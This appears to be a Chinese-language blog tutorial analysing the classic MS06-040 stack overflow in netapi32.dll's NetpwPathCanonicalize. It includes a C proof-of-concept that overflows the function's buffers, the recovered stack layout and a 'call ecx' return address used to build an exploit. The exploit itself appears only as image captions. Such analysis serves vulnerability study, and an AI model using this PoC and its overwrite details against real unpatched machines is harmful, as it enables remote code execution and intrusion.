经典栈溢出之MS060-040漏洞分析

  找了好久才找到Win 2000 NetApi32.dll样本,下面我对这个经典栈溢出进行一下分析,使用IDA打开NetApi32.dll,问题函数:NetpwPathCanonucalize。实验环境:win xp sp3,ollydbg,IDA。exp编译工具:VC++ 6.0

经典栈溢出之MS060-040漏洞分析_第1张图片

其中的子函数存在溢出:

经典栈溢出之MS060-040漏洞分析_第2张图片

汇编代码注释:

经典栈溢出之MS060-040漏洞分析_第3张图片

经典栈溢出之MS060-040漏洞分析_第4张图片

经典栈溢出之MS060-040漏洞分析_第5张图片

两个溢出点,但是第一个无法利用:

 经典栈溢出之MS060-040漏洞分析_第6张图片

经典栈溢出之MS060-040漏洞分析_第7张图片

找到一个网上的POC:

int main()
{
     char Str[0x320];
	 char lpWideCharStr[0x440];
	 int  arg_8 = 0x440;
	 char Source[0x100];
	 long arg_10 = 44;
	 HINSTANCE LibHandle;
	 MYPROC Func;
	 char DllName[] = "./netapi32.dll";

	 LibHandle = LoadLibrary(DllName);
	 if( LibHandle == NULL)
	 {
		  MessageBox(0, "Can't Load DLL!", "Warning", 0);
		  FreeLibrary(LibHandle);
	 }
	 Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
	 if ( Func == NULL )
	 {
		  MessageBox(0, "Can't Load Function Address!", "Warning", 0);
		  FreeLibrary(LibHandle);
	 }
	 memset(Source, 0, sizeof(Source));
	 memset(Source, 'b', sizeof(Source)-2);
	 memset(Str, 0, sizeof(Str));
	 memset(Str, 'a', sizeof(Str)-2);
	 (Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);
	 FreeLibrary(LibHandle);
     return 0;
}

动态调试:找到函数返回地址被覆盖的位置。

 

经典栈溢出之MS060-040漏洞分析_第8张图片

 

 经典栈溢出之MS060-040漏洞分析_第9张图片

经典栈溢出之MS060-040漏洞分析_第10张图片

经典栈溢出之MS060-040漏洞分析_第11张图片

 

不仅找到了覆盖的返回地址,同时发现ecx指向栈顶

经典栈溢出之MS060-040漏洞分析_第12张图片

寻找call ecx硬编码FFD1

经典栈溢出之MS060-040漏洞分析_第13张图片

根据搜集到的信息:

栈空间的起始地址为0012F258

0x0012F258 bbbbbbbbb

0x0012F348 bbbbbbbbbbbbbb

0x0012F358 aaaaaaaaaaaaa

0x0012F670 \xc2\x7b\x19\x75

0x0012F674 aa

0x0012F66C ebp

0x0012F670 返回地址

call ecx 0x75197bc2

根据POC编写exp,测试:

经典栈溢出之MS060-040漏洞分析_第14张图片

经典栈溢出之MS060-040漏洞分析_第15张图片

经典栈溢出之MS060-040漏洞分析_第16张图片

 

你可能感兴趣的:(经典栈溢出之MS060-040漏洞分析)